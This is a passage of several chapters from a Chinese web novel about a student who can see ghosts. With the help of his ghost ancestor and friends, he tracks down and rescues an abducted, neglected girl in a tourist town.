关了电视，作为鬼是开不起来的。 “为什么？马上大结局了。”温老提出了抗议，要让温令羽重新插回去。 温令羽将手机里的电费缴费递给两个人，“电费已经超标了，供不起了祖宗。” 鬼睡不睡觉，这一点全看自己。 温老灵光一闪，打了个哈欠，“困了困了，那就晚上再看吧。” 然后火速带着阿辛逃离了客厅这个是非之地。 温令羽上完一整天的课回来，家里找了一圈，温老和阿辛竟然都不在家。 一个人坐在他们常坐的沙发上，萌生出了一种要去找他们的想法。 这时，门被敲响了。 与鬼相处久了，总会忘记鬼和人的区别。 温令羽以为是温老和阿辛回来了，开门时说道：“你们回来了？” 没见到人，头低了一点，温昕背着她的书包站在门外。 温昕眼圈红红的，是哭过了。 温令羽把人带进来，然 7. 离家出走 《人鬼交流所》全本免费阅读 不是小事。 温令羽不敢耽搁，直接开门出去找他们，到了楼下，瞬间傻眼了。 大晚上的，根本不知道该去什么地方找。 好在遇到几个经常外出碰到的，都是鬼，总能知道温老他们。 “你有看到一老一少在这附近吗？就是住在十楼的。”温令羽担心对方不知道名字，干脆就换了个能理解的。 对方摇了摇头，“十楼是温老在住，我已经好几天没看到了，会不会是在鬼小馆那里？” 鬼小馆就是温令羽跟着温老去的那个酒吧，据介绍那里除了影院，还有KTV等娱乐场所。 综合性质的。 温令羽第一想法也是在那，同他告别后，就赶到了鬼小馆。 里头还是照样热闹，不少熟悉的面孔待在这里。 这次的调酒小鬼还是原来那只，温令羽问道：“我祖宗这几天有来吗？” “温老头前天来过一次，说是要回趟老家，还没有回来吗？” 认识这么久，温老就没提起过自己的老家在哪，甚至连回去这件事都没和温令羽说。 温令羽摇了摇头，决心等温老回来一定不能让他进家门。 既然温老和阿辛都不在这里，温令羽也没心情留下一块玩，婉拒了别人的邀请，准备独自回家待着。 临走前，温令羽心有不甘，“你们做鬼的，有没有什么特殊渠道能联系上？或者他走之前有留下什么吗？” 内心没有抱任何希望，所以听到意料之中的回复时，没有太难过，只是觉得。 果然就是我想的这样，没办法。 一天两天，温令羽仍然抱有期待，可能几天就能回来，每天出门前和回家后的第一件事，就是在家里找一圈。 时间一天天过去，虽然温老和阿辛依旧没有回来，但凭借自己能看见鬼和鬼交流的能力，和周围的鬼邻居都相处得很好。 甚至路上遇到，会和他分享，小区哪里又开了小摊，哪里又加了新店。 更或是，发生在小区内的八卦。 等温令羽都快忘了，就看到阿辛蹲在家门口。 即将入冬，各地的气温都下降得特别快，而且昼夜温差也大。 早上出门可以穿卫衣，等到了晚上，若没有大衣，在外面待一会儿保准感冒。 阿辛和温老外出了几个月，此时还穿着夏天的短袖。 温令羽赶紧叫阿辛进门，“怎么站门口不进来，多冷。” 一眨眼的时间，阿辛就换了件厚衣服，这人不是没有衣服穿，是故意惹温令羽同情，别怪他们。 “温老呢？你跟他说，好好交代就不生气了。”温令羽没发现温老，以为是他没这老脸见他，便给他递了个台阶。 阿辛说道：“老先生还没回来，我到这里花了一个月时间，他已经快忙好了。” 不用温令羽问，阿辛就主动交代了他们到底是怎么离开的。 那天，温令羽讲完两人在家这几天电费花得多的事，两人都没好意思继续追下去，可独自待在公寓又无聊。 温老就带着阿辛去鬼小馆转了一圈，刚进门就遇到了个熟面孔，是温老生前住同一个村子的老友。 也不知道是聊到了什么，对家特别想念，说要赶回老家看看。 “辛小伙啊，你是跟我一起，还是自己回去啊？”当即决定启程，走前不忘寻求一下阿辛的意见。 阿辛自以为温令羽是生了气，回去要没有温老从中调和，那气氛就别提有多尴尬了。 马上，阿辛就决定下来，“我跟老先生一起去。” 谁料，几个鬼乘过现代交通，甚至温老和他老友要步行去，还是阿辛提了一嘴。 然后花费了半个月时间到了地方，待了几天，温老突然有事要去办，阿辛一个人在陌生的地方难熬，干脆就自己回来了。 中途迷路耽搁了好几天，回来整整花了一个月。 就这么一说，都能想象到阿辛这一路有多不容易。 温令羽让阿辛自己先去休息，想着鬼有鬼的伙食，自己跑了趟鬼小馆买了不少东西。 原先温老在家里囤的东西都被带走了，家里是没有一点儿存粮了。 阿辛说得话，温令羽放在了心上。 隔天早上上课，温令羽就把睡得迷迷糊糊的阿辛喊了起来，准备叫上他一起去上课。 “在家里无聊的话，不如和我一起去上课。”温令羽提议道。 阿辛眼一亮，困意一扫而尽，快速收拾好自己，然后一同出了门。 教室里其他人看不见，其实在空余的位置上，坐了不少好学的鬼，都是同一批，都快眼熟了。 不过温令羽倒是没主动打过招呼，他们也不会过来，双方互不打扰。 到教室的时间已经晚了，差不多坐满了。 阿辛是第一次见到这么多人的教室，“人这么多？” 温令羽找了个两位连着的座，悄摸让阿辛坐他旁边。 他们找的位置是后排，是被同学格外青睐的位置，所以后进来的人第一反应都会注意到这边。 “要不要我把位置让给他？”阿辛见进来的同学迟迟找不到空，说道。 温令羽安抚阿辛，“没关系，他们不会过来的。” 话落，他们谈论的当事人找到了他的朋友，然后终于坐了下来。 早就预料过这种情况，温令羽多带了一本书，放在了旁边，其他人见状也不会再次询问。 除非是真的没有位置了。 事实太不巧合，一个上午全上的专业课，而且是学期末的专业课。 温令羽担心阿辛听不懂，这么长时间太过痛苦，在下午上课前，问了阿辛的想法，“下午的课要去吗？其实还有其他教室的课程可以去听。” 阿辛确实听不懂，待在教室也觉得煎熬，听到后半句，像是看到了救星，“真的吗？有推荐吗？” 温令羽没了解过其他专业的课，“这个我不清楚，但是你可以四处转转，先在外面看看上课的内容感不感兴趣，再决定进不进去？” 想着期末周，许多课都被停了，温令羽又道：“转了一圈都无聊，就重新回来找我，我们一块儿回去。” 出乎意料的是，阿辛在新的教室新的课上交到了新朋友，担 8. 榆林旅游 《人鬼交流所》全本免费阅读 候车厅里，今日值班的检票员姗姗来迟。 看到等候厅里坐着一个人的时候，眼睛都瞪大了，立马低头去看手机上显示的时间。 他没有迟到。 此时距离发车还有半个小时。 这个时候空闲，检票员问道：“你去哪里？来得这么早。” “榆林镇，要坐第一班车。”温令羽老实回答道。 检票员恍然大悟，忽然他想起了一件事情。 近期大学陆陆续续放假，不少学生要赶车回去，但通知不能通知到每一个人那里。 “榆林镇附近修路，旅游休假的项目都停了，你是回家吗？”检票员观察了温令羽，对方身上是一件行李都没有，空手去的。 一旁的阿辛注意到检票员话语里的重点，赶忙叫温令羽问一问，“榆林镇什么时候开始搞旅游的，或许是个突破口，可以正大光明去那边看看。” 温令羽很快就明白了阿辛的意思，问道：“大哥，榆林镇的旅游什么时候重新开放啊？感觉特别好玩。” “还不清楚，年前肯定会开。年后假期人多，都会去那里玩。” 坐了将近两个小时的大巴车，温令羽已经疲倦不堪，感觉这具身体不是自己的了。 榆林镇是最后一站点，司机师傅看见温令羽腿抖得走下车，动作有些许迟钝，看起来颇为好笑，他也没有忍住笑了出来。 温令羽看了过来，深吸一口气，平复了起伏的情绪，好声好气地问道：“大哥，这边路什么时候修好吗？” 坐在大巴车上时，温令羽一直关注着手机地图，发现司机是特意饶了一大圈才到了榆林镇。 问司机并不现实。 对此，温令羽找了旁边坐着的其他乘客，看样子是本地人。 “怎么绕路了？还有多久到啊？” “差不多一个小时吧。” 因为修路封路，所以得绕另一条旧路过去。 而这个旧路，是曾经建造的，十分坑洼，可以说是一路颠簸着过来的。 司机大哥思考了一下，“接到的通知说是一周后通路，毕竟快过年了，不能一直封着。” “好的，谢谢大哥。” 温老和他老友两位已经成功找到了地方，有了他们带路，不用担心多走，或是找错了地方。 担心会打草惊蛇，温令羽只是在当事人家外围转了一圈。 榆林镇是近几年靠旅游发展起来的，主要是有一家出名的温泉酒店，而且附近的榆林更是打卡游玩的好地方。 但是他们要找的一家，住在镇的最里面，是非常老旧的楼房，旁边的几家同样。 与镇中心那一片是完全没法比。 没有赶上镇里的发展，与整个镇脱节。 但是非常不巧，温令羽在周围，到处转了好几个小时，其他家都有人在家，他们找的却房门紧闭，像是外出了。 看样子一时半会儿回不来。 阿辛注意到温令羽快撑不住了，说道：“天这么热，要不然等下回再来，过年那几天肯定会在家里的。” 干等着不是个好办法。 见温老他们还在着急，阿辛换了个说法，“中午饭还没吃，我们先找个地方吃个饭，歇一歇。” 温令羽点头如捣蒜，他确确实实需要找个凉快的地方。 鬼不怕热，但人怕。 榆林镇的旅游被停了，所以整个镇上没什么外来的人，店铺也很少有开放的。 转到了最热门的温泉酒店，酒店门口停了几辆车，不过没有看到招待的人，温令羽并不抱有什么希望。 晃悠到门口，酒店的自动门就开了。 “这里营业吗？”温令羽问道。 招待员立马应道：“是的。” “阿羽。” 朝声源处看去，宋时盛就坐在不远处的沙发上，此刻看到他也非常惊讶。 温令羽走了过去，“你怎么在这里？” “我爸妈过年要出差，说让我来定一下项目活动，你怎么在这里？”宋时盛回答道，然后把旁边的沙发清空，让温令羽能坐下来。 温令羽脑子里快速闪过理由，“听说这里的温泉很好，我过来看看。” 宋时盛像是找到了同盟，一把拉住温令羽，生怕人溜了，“是吧？你也觉得。吃饭没？” 得了肯定的答复，宋时盛直接拉着温令羽去了他预订好的包厢。 这家温泉酒店，是宋时盛姑姑开的。 一听说过年那几天就宋时盛在家，特意安排了车送他来选菜品，选项目，让他一个人美美过好年。 临近温泉酒店的活动项目重新开放，这几天预订的人很多。 提前让宋时盛来选择，便于更好安排。 说着，宋时盛突然想到了什么，“你今年回令阿姨那里吗？” 从温家搬出来，宋时盛知道温令羽过年不会回家，但温令羽一直没和令美珑断了联系。 温令羽老实回答道：“还没确定下来。” 宋时盛不纠结，先安排人上菜，这菜单是他亲自精心挑选过的。 吃完饭，宋时盛带温令羽参观这家酒店。 温令羽后面还跟着一帮鬼。 正因为其他人看不见，这酒店又大，温令羽就担心温老他们跟不上，半途走丢了。 他时不时往后面看一看。 阿辛还有兴致去逛，其他两位心不在焉，走到哪都分不清了。 温令羽陷入了长久沉思，一下就落后了好几步，而且宋时盛叫他也听不见。 宋时盛纳闷温令羽到底在想什么，“你怎么了？想什么这么入神？” 这话把温令羽的思绪拉了回来，他又回头看了一眼，下定了决心，“过年那几天酒店还有房间吗？反正我也没地方去，想留下来。” 宋时盛连忙点头，然后火速让人给温令羽也安排了一间。 回去的路是搭宋时盛的车出去的，直接将温令羽送到了他家楼下。 温令羽跟宋时盛道别，“路上小心。” 宋时盛摇上车窗，摆摆手，“大年二十五我来接你。” 当天晚上，温令羽就同令美珑通了电话。 一般年前温令羽会去令美珑那里住几天，然后过年暂定，有时会回温家，有时会留下来。 所以打过去时，令美珑是知道 9. 护送回家 《人鬼交流所》全本免费阅读 大年二十五，宜大扫除。 决定了要去榆林镇过年，但自己的家还是得打扫一番，需要做一个样子。 早就商量过的事情，温老早早就跑没了人影。 温老撤退的时候，什么都没说，偷摸着离开的，没叫上阿辛。 温令羽从杂物堆里翻出来了清扫工具，这东西还是令美珑在的时候购买的，然后便一直摆放在这里。 没人来动过。 上一回来到这里，还是三年前。 高一入学是温令羽加家里的司机一同去办的，但司机把温令羽送到学校门口，就被温父一通电话叫了回去。 回去的路上，还是温令羽一个人走的。 晚饭的时间，温家的所有人都在，温父坐在长桌一头，温昕和继母坐在他的两边，一家人其乐融融。 相当温馨的场面，温令羽的存在反倒显得尴尬起来。 温令羽坐到了自己的位置上，拿起了筷子，像是才发现了这个人，温父说道：“读高中了回家也不方便，宛西南路的房子是你妈妈留给你的，搬过去住吧。” 那房子是令美珑和温父结婚后买的，小时候温令羽就待在那。 这话让温令羽有些许愣神，他很少听温父讲起令美珑，还有那个房子，“我妈留给我的？什么时候的事情？” 温父语气平淡，“很久了，你刚来那年。” 温令羽“啪”一下把手里的筷子放回了桌子，厉声质问道：“那你为什么不早点说。” 温父瞬间被温令羽激怒了，“恼羞成怒？你自己不愿意和你妈联系，现在倒是怪上你老子了。” 温父说的没错，每年令美珑会打来几个电话，只是温令羽每次都用借口推脱，除了必要的时候，其余都再没了消息。 与其说是怪温父，倒不如说是怪自己。 不知道是不是温父同情心泛滥，竟然把家里的阿姨请过来帮忙打扫了许久没人住的屋子。 彻彻底底打扫也就这么一次，既然以后都只有自己住着，不能任由房子就这么放着，既然新年习俗有扫屋，那就遵守风俗习惯。 温令羽思考了片刻，说干就干。 没干过活的人，就不知道家务这件事是有多难，不是光凭想象当中扫一遍拖一遍就完事的。 以至于，宋时盛上门来接人时，温令羽的打扫工作只进行到一半。 “还有多少？”宋时盛放弃了挣扎，早点干完早点完事，撤走。 温令羽指了指阳台的洗衣机，“里面的床单被罩刚洗完需要晾，洗衣机旁边脏衣篮里的是需要放进去洗的。” 好在没有厨房的活，两个人从下午干到了天黑，终于是完事。 刚坐上车，一开始就溜走的温老和半途跑掉的阿辛站在车旁，两鬼一脸无辜看着温令羽。 看来，他们清楚，他们干的这件事不厚道。 温令羽心里清楚，温老和阿辛在打扫的事情上是帮不上一点忙，但竟然连支持的态度都没有，此行径十分恶劣。 但温令羽气来得快，消得也快。 车到了酒店门口，也就不恼火了，还有心情问温老和阿辛要不要去附近玩一圈。 阿辛飞快点头，说道：“想去附近逛一逛，以前早说要来看看，一直没有机会。” 上次来，没有时间去四周逛逛。 温老摆摆手，让两个小辈自己去玩，“我累了，先回房间休息了。” 鬼会不会累？ 温令羽没当过，不了解，但还是听温老的意见，不做强迫鬼的坏人。 突然，温令羽想到了另一件事情，叫住了即将躺下的温老，“你朋友呢？没有和我们一起来吗？” 房间里只有他们三个，还差了一个。 “他刚到镇上就到那边去了，估计在那边守着。”温老打了个哈欠，然后躺下了。 温令羽和阿辛出了房间，顺路去问了宋时盛，他干了一下午的活，又坐了车，哪里都不想去。 “要不要我让人带你去附近？”宋时盛早就换好了睡衣，眼神都是迷离的。 “不用，我自己逛逛就行。”温令羽不想人跟着，还不如自己一个人逛得自在。 酒店门口的架子上就摆有整个旅游镇的介绍，此刻大厅上办理入住的客人很多，排了长队，介绍就可以给外来的旅客看。 有助于对旅游有个基本目标。 眼看别人都手拿一本，温令羽也给自己顺了一本。 果然有不少景点可以去。 加上前段时间修路装修，这里的游玩设施变得更加完善和丰富。 温令羽和阿辛找了个距离近的商业街，街的装修都是照着特色来的，好吃的好喝的。 唯一一个不好的点，就是队伍太长。 酒店有专车可以送过去，秉持着不想多走的原则，温令羽非常果断地选择了专车。 停在街外头，立马就有人迎上来，问道：“要买纪念品吗？比店里的便宜。” 一个上来了，其他人都围了过来，推销他手中的东西。 温令羽全都推脱掉了，“不好意思，不用了。” 人群散开之后，发现就在前方不远处，有一小孩就站那，但由于胆小，迟迟不敢上前主动问，只会一个人待在那。 这个距离。 大概是她努力过，但还是害怕，才走到的位置。 阿辛突然叫住温令羽，让他往旁边看，“阿羽，你看，是不是温大爷？” 一般阿辛习惯叫温老为老先生，而温老的老友就称呼他温大爷，以作区分。 眼看着温大爷这么小心护着这个孩子，温令羽顿时就反应过来了，这就是他们一直在找寻的人。 “小朋友，你这个挂件怎么卖啊？”温令羽蹲下身子，能让对方清楚地听见。 在热闹的街市上，要没有足够近的距离，是听不见说话的。 “三十。可以便宜的。” 温令羽没砍价，选了一个，爽快地付完了钱。 来都来了，温令羽可不仅仅就是要买个东西，此行是为了把他带回去。 “小朋友，你爸爸妈妈呢？就你一个人在这里吗？”温令羽语气轻柔地问道。 小姑娘有些紧张，“他们在家里。” 这个街口，人流量很多，旁边有人听见这个话，气不打一处来，“什么？过年这几天，家里大人就让你一个小丫头来卖东西？” “是不是亲生的？大过年让小姑娘一个人出来摆摊。” “这边人这么多，车也这么多，真不担心出事情，这父母心是真大。” 几句话吸引到了不少人过来，听说了这儿的情况，对小姑娘的遭遇深表同情，还有不少人给她买了吃的。 其他商贩看到这样，生意少了是生气的，但多多少少可怜这小姑娘，没有上来抢生意。 很快，东西就卖差不多了。 温令羽本来仅仅是想找一些小孩子过得不好的证据，好为以后派上用场，能卖东西，是个意外之喜。 等走到没人的小巷里，温大爷非常感激温令羽，“要是东西没卖完，回去家里人就不给吃饭，这下子就好了。” 看来，把人救回去这事情，迫在眉睫。 找到机会，就赶紧走。 既然帮忙卖了这么多东西，温令羽顺势就说要护送小姑娘回家。 可能温令羽看着不像个好人，有好心人直接把情况报告给了这边的警务人员，让警务人员帮忙送回家。 正中下怀。 这阵势太大，小姑娘开始害怕了，她可以一个人回家，“我家就在附近，知道路，可以自己走回去。” 警务人员不可能放任童工行为的发生，一定要问清楚状况，送人回去就是顺路的事情。 “小朋友，相信叔叔，可以安全把你送回家。” 温令羽是自己强硬跟上去的，上了车，车内有暖气，看着小姑娘的大棉衣，担心她热，“衣服这么厚，热不热？” 小姑娘摇摇头，无声地坐在车后座。 温大爷见状解释道：“里面就一件单衣，外面的棉服也是劣质的。” 从宽大的领子里，车内的灯光照射下，里面确实是一件薄薄的衣服，保暖作用近乎于零。 但这衣服的料子，温令羽越看越熟悉，特别像他们那边的特制。 很快，车子就到了家门口。 这会儿，他们家里人全都在，吃完晚饭后在院子里聊天，有车过来，还探头看。 发现是辆警车，脸色大变，站在门口不敢上前。 小姑娘下了车，就见到家里人的脸色，立马将刚赚到的钱递了上去，“今天的东西卖完了，这是赚到的钱。” 献宝似的。 警官便将情况说了，然后询问道：“小朋友这么小，就让她去卖东西，这个你们想想合适吗？” “去房间里，外面冷”，女主人把小姑娘赶进屋子里，随后语气亲和地说，“小孩子总想要零花钱，这是她自己要去的，想买新裙子。大过年的，怎么可能让心肝宝贝出门赚钱啊。” 把自己的责任推了个完，警官此刻也不好再说，家庭教育方面，作为外人没办法插手。 只能最后留下一句，“现在镇上人多，小朋友要自己看顾好。” 回程的路上，温令羽心有不甘，“她父母肯定是强迫她去的，她身上穿的都是别人不要的，料子什么的都这么差劲。” “小伙子，有些人的家里就是这么困难，会买不起好衣服。这一片家里情况都不富裕，不要把事情想坏了。” 温令羽手里拿不出证据，总不能凭借怀疑去做亲子鉴定，让其他人陪着他“闹”。 真的，是最好的结果。 假的，是对资源的浪费。 没有试错资本。 回到了酒店房间，温令羽还沉浸在刚才的场景中，有一点被他深刻忽略的，突然清晰地出现在脑海中。 温老还在休息，温大爷陪伴在小姑娘的身边。 只有阿辛在，温令羽问道：“你陪温老回老家，是在哪里啊？” 阿辛生前没去过这个地方，但好歹是在现代社会生活过的人，问个地方是能知道的。 “是南方一个小县，那里都是姓温的。”阿辛不清楚温令羽问这个的理由，还是说了。 温令羽想到了一个可能性，“那里是不是有很多织布厂？” 阿辛点点头，“对啊，而且特别好看。” 猜想被验证，温令羽一下坐在了地上，温老还真的是他们温家写在族谱第一位的人，而且被拐的那个孩子，他也认识。 < 10. 除夕烟花 《人鬼交流所》全本免费阅读 “你这是没带卡？”温令羽没有嘲笑他，但是他快速回复群里的消息，“宋时盛被他自己关门外了，手机没带上。” 语音一发出，群里的消息音就没停止过，想想就知道是他的一群损友。 无奈又气愤。 宋时盛笑了，对温令羽说道：“你们等着，我去再拿一张。” 等几人进入到了游戏里面，玩着玩着，有人发现了不对劲，在游戏麦里真诚发问：“你们在一个地方？” 开始，温令羽和宋时盛都没觉得是在问他，但见其他人都不回复，弱弱地求证：“你们是在问我俩？” “是啊，瞒着我们出去玩了？”立即就有人做出了猜测。 温令羽简单把事情讲了一通，而宋时盛做了补充，总算是让其他人知道了事情的经过。 本以为一个个是同情居多，毕竟大过年团圆的日子里，连家都回不了，温令羽甚至连要什么补偿都想好了。 和他们几个玩的，都是差不多的。 开始声讨起温令羽和宋时盛两个来，“你们这也太幸福了，那岂不是随便玩，还不用走亲戚？” “有我惨吗？一到过年说要把家里东西全拆了洗，我睁眼闭眼就是洗东西晒东西。” “我能加入吗？放假后我是待在家挨骂，不在家骂得更凶，现在我是真不想待下去了。” 相较起来，确实是温令羽和宋时盛轻松一点，几乎是没任何人来管，做事全凭心情。 宋时盛看不得兄弟受苦，“晚些时候，我问一下还有没有空房间，年后没事的话，可以直接坐专线过来。” 一语激起千层浪。 游戏麦里，都在欢呼宋时盛如此明智的行为，思绪全不在游戏上，硬生生把顺风局打成了逆风局。 唯一清醒的，顿时被这场面气昏了，“你们上啊，杵在那儿有饭吃啊？” 就在温令羽专心放在游戏上时，身后突然响起一道声音，“草丛有人。” 温老给温令羽吓了一跳，点鼠标的手都抖了抖，然后将技能放在了小怪身上，接着就被草丛里的两个一套带走了。 操作的角色死去，电脑页面变成了灰色。 趁着复活倒计时。 温令羽看着温老，一时间说不出来话来，毕竟眼前这个确实是他老祖宗，写在族谱第一页的，在温家悠长的历史中，被牢牢写在第一页的祖宗。 而且逢年过节的，都是要去给他磕头叩拜的。 一时的心软，只是不愿意让一个老人流落在外，收留了他当做了一个好事，但发现这是老祖宗。 心境变了。 温令羽张了张嘴，不知道说些什么，场面变得尴尬起来，“睡醒了？床还行吗？” 要是刚认识时，还真不能发现不对劲，温老和温令羽相处了这么久，当然对温令羽了如指掌，这话就不像是温令羽能说出来的。 于是，还没看到游戏结束，温老就去客厅找了阿辛，问问他们刚才出去遇到了什么。 阿辛在客厅里追剧，见温老过来，给他让了个位置。 “老先生。”阿辛这才注意到温老沉重的表情，不免紧张起来。 “你们出去碰见了什么？”温老问道。 阿辛不清楚温老想知道什么，于是将事情原封不动，从头到尾讲了一遍，听完了之后，温老的脸色还是这样，半点儿缓和都没有。 “老先生，发生什么事了？”阿辛决定还是直接问，总比他一个人瞎想要好。 温老自己也有点不确定，“我也不知道，潜意识里觉得阿羽那小子回来之后变得奇怪了，可能是我多想了。” 阿辛没发现到温令羽的特别之处，“没有啊。阿羽没变。” 在客厅里，头都快想破了，思绪绕成了一团，找不到头，看不到尾。 温老和阿辛分别坐在沙发的两端，两手捂着头，陷入了沉思，时不时手挠挠头，是没想到的动作。 温令羽出来见到的就是这个场面，“你们怎么了？” 温老看了一眼阿辛，示意让他去问温令羽，阿辛接收到信号，思考了一会儿，“老先生觉得你回来变得不一样了，所以，我们两个在思考。” 话落，温老和阿辛齐刷刷看向温令羽。 一面对温老，温令羽就能想起他每次祭祖时，总会忍不住开小差，时不时观察其他人的情况。 他是小一辈里最不信这些的。 现世报来了，祖宗降临到自己身边了。 “那个，你真的是我老祖宗啊？就那个牌位放在最顶上的那位？”温令羽越说声音越小，到后面已经完全听不见了。 温老很自然地点头肯定，然后快速反应了过来，“所以你就没相信过我？刚见面那一天我就和你说了。” 温令羽感觉委屈，他要是能相信，才是傻了，“突然冒出来，和你说是你老祖宗，换成谁都不能信啊。” 温老指了指自己的脸，斩钉截铁得肯定道：“我们就是一个模子里刻出来的，看脸就能知道了。” 这都不用温令羽来反驳，一旁的阿辛实在是看不下去了。 “老先生，说句公道话，这确实认不出来，阿羽还是个孩子啊。”阿辛鼓起勇气，但还是没胆子说出下一句。 你已经是个老头了。 知道了温令羽是因为这件事情，发生了转变，温老松了口气的同时，又生上了气，当天晚上就准备去找温大爷了。 温老远离阿辛和温令羽，要求分开行动。 阿辛拦都拦不住，小身板拉不住温老，而温令羽拉不到。 就在两人眼皮子底下，温老从房间里飘了出去，去找温大爷了。 阿辛后悔，自我反省道：“早知道我就不说了。” 温令羽不愿看到这境况的发生，“早知道我也不说了。” 两人相视一眼，下一秒抱在一块儿哭泣，他们两实在是太冲动了。 一直到除夕那晚，温老终于舍得回来了，温大爷也被一块儿带了来，准备大家一起过个除夕。 宋时盛安排了晚餐，而宋父宋母特意打来了电话，来问问宋时盛的境况，温令羽进来时已经讲了一个多小时了。 温令羽是因为洗漱晚到了，进来就看见宋时盛举着手机在打视频，视频里宋父宋母的声音，温令羽能听出来。 这顿晚饭只有宋时盛和温令羽两人，还有人看不见的三只鬼。 宋时盛旁边安排了位置，温令羽不想打扰宋时盛叙旧，就坐在另一头，没有进入宋时盛的镜头里。 意料之外。 宋时盛拿起手机，走到了温令羽身后，“妈，别担心，我和阿羽一起。” 镜头里的宋母也是在吃饭，她对着温令羽温柔地笑笑：“饭菜合胃口吗？不喜欢可以再点，不要客气。” 温令羽乖巧地点点头：“谢谢阿姨，点的都很好吃。” 宋时盛干脆就在温令羽旁边坐下，让温令羽随意吃，然后就打算挂电话了，“不说了，我也要吃饭了。” “等等，你其他同学也来的话，直接换后面套房去，别影响你姑姑做生意。”宋母放弃了喊宋时盛过去找他们的想法。 宋时盛一一应下，然后终于挂断了电话。 “快吃吧。我爸妈就这样，烦得很，什么事都要操心。”宋时盛嘴上是抱怨的，可面上没有一点儿不高兴的表情。 温令羽问道：“他们确定了要过来？” 宋时盛点点头，“初五过来，然后到时候我们搬到后面套房去，人多直接一起住了。” 吃完饭后，温令羽和宋时盛就准备去参加榆林镇举办的烟花会，安排专人，统一燃放烟花。 既确保了安全，又可以体验到年味。 城里禁烟花爆竹已经好多年了，榆林镇作为边缘城乡，政策同样严厉。 政策以外，允许存在人情。 于是，除夕到正月初六都是例外日，那几日每晚都有烟花看，只不过除夕那晚最为热闹。 温令羽乘着专车到了那边，直接到了最佳烟花观景点。 进来时，是跨过了重重人群，温令羽有些震惊，“这就是钞能力？你花了多少钱？” 以为是宋时盛花了大笔钱，才把两人送到这么好的位置。 宋时盛压根儿没花钱，他指了指前方的座位，解释道：“烟花 11. 赵寻回家 《人鬼交流所》全本免费阅读 “这两个人你从哪里带过来的？” 终于是看到了温令羽和宋时盛，直接开始埋怨起来，对把陌生领到自己的家里是多么让人生气的行为。 赵寻被训得无措，一时间连反驳都成了难事。 宋时盛从没见过如此不分青红皂白的父母，连一句解释都不听，选择直接发泄自己的情绪。 到底是外人，没有插嘴的资格。 然后，那家人直接把门关上，连带着赵寻都被拦在了家门外。 门锁落下的声音，刺激到了呆愣的赵寻，她上前一步不断地敲门，祈求原谅，能放开门让她进去。 回应她的只是，里头大门被关上的动静。 温大爷早早就看不下去了，骂的一句比一句难听，然后很想把赵寻拉回来，伸手却扑了个空。 心有不甘，反复。 最终还是虚影跨过人形，没能拉住赵寻。 温令羽和宋时盛两人自然没能闲着，但不知道小女孩哪来这么大的力气，两个人都没法制止住他。 宋时盛怕动作太重把小孩子伤着，说道：“妹妹，要不然你和我们一起回去吧，这大冷天的。” 温令羽在旁边附和道，想把赵寻劝回去，别站在这门口干等。 从刚才的态度一猜，就能清楚开门的机会渺茫。 劝了又劝，总算是把赵寻说动容了，直接乘坐车回了住的酒店。 这里是镇上的著名景点，但赵寻家离这里远，从没到过这里。 她一进来，就好奇地东张西望，看一些没见到过的东西。 而且酒店刚装修过，装饰风格大变样，哪怕是以前见过，现在也都不一样了。 温令羽让宋时盛照顾一下赵寻，自己则是去前台问问剩余空房间。 “我有电话，打一个去问问就行。”宋时盛说着就准备打电话给负责人，让他过来处理一下。 温令羽已经打过了，“电话你给过我了，我刚刚打过了没人接。” 除夕晚这天，会给员工放假回去过年，人手稀缺，一碰上事情多，接不到电话也是常有的事情。 温令羽对弟弟妹妹的相处模式还在摸索中，远不如宋时盛来的熟练，让宋时盛来短暂照顾下，是有自己的考量的。 听完温令羽的话，宋时盛妥协了，摆摆手让温令羽早去早回。 前台排着长队，不过好在工作人员处理得很快，等了一会儿就到了温令羽。 “酒店现在还有空房间吗？”温令羽问道。 但他还真没抱什么希望，这几天的房间全是要预定的，当天来是根本不可能有的。 果不其然，对方摇了摇头，“但是可以加小床，需要吗？” 温令羽思考了一下，最终还是没要这张小床。 回去和宋时盛说了情况，宋时盛陷入了沉默，看着因为害怕坐立难安的赵寻，说道：“把你房间让给她吧，你住我那？” 确实是最好的办法了。 毕竟不能让赵寻一小姑娘和他们两个大男人一起，影响不好，而且他们两个自己也接受不了。 时间已经不早了，温令羽和宋时盛带着赵寻去了餐厅。 这个时候，恰好是酒店的夜宵点，选餐台上摆满了不少甜点蛋糕。 面对这么多美食，赵寻眼都亮了，有些不好意思地问道：“这些东西可以吃吗？要钱买吗？” 服务人员听到这话，回答道：“可以品尝的，全部免费提供的。” 说是这么说的，但赵寻最后只选了一块小蛋糕，担心她吃不下浪费。 而宋时盛自己则是挑了满满一大盘，丝毫不脸红，拿得全是自己爱吃的。 “妹妹，这么小块够吃吗？我这个好吃，给你。”宋时盛看不下去，从自己盘里选了一块给了赵寻。 就在两个人吃得欢快的时候。 温令羽把宋时盛拉到一边，语气低声，装作像是第一次发现这件事一样，“她好像是我认识一位叔叔的女儿，她身上这一件是我家乡产的，不像这边买的。” 宋时盛是见过那家人的态度，他不怀疑温令羽的猜测，但这种事绝不能乱说。 “你有证据吗？要是搞错了，怎么办？”宋时盛对这件事很谨慎。 温令羽需要宋时盛一起，对一件事太执着、太着急，是会引起怀疑的。 除了拿出一些父母区别对待的证据，温令羽一时半会儿拿不出别的什么。 宋时盛一拍脑袋，“你让他亲生父母过来看看，做个亲子鉴定什么的？是或不是，就一张纸的事情。” 温令羽没有把握能让温远来这么一趟，毕竟他到现在都没有同意他的好友请求，而他早就搬家去了其他城市。 这么一犹豫。 宋时盛不禁想歪到了其他地方，“你不会相信电视剧上那些篡改吧？不可能的，放宽心。” “那倒不是，我就是现在联系不到我那叔叔。”温令羽想不到办法。 宋时盛想了想，“叫什么？我问问我爸妈有没有认识的。” “温远。”温令羽怕资料不仔细，又补充道，“他家是搞软件开发的，不过他后来没心思就卖了。” 宋时盛把东西发了过去，宋父宋母听说过这个人，但没有过往来，要个联系方式还是件简单的事。 很快，宋父宋母就把电话要来了。 温令羽对了下号码，和令美珑给他的不一样，应该是后面换号了，难怪一直收不到消息。 将赵寻照片传了过去，温令羽和宋时盛两人双双盯着手机界面，这动作吸引到了赵寻，她也侧身探过来。 “你们在看什么？”赵寻问道。 宋时盛看了过来，用眼神询问温令羽的想法，是否要告诉赵寻这位当事人。 温令羽一时犯了难，最终还是摇了摇头，找了个借口搪塞了过去。 比谁都知道，期待之事落空，是最悲伤的。 还不如从没有过任何指望。 半夜两三点，温令羽和宋时盛还在和朋友开黑玩游戏，温远才看到消息，就立马来了电话。 温令羽接了起来，温远极力压制住自己的兴奋，“她就是我的小寻啊，是在哪里看见的？” “榆林镇。”温令羽回道。 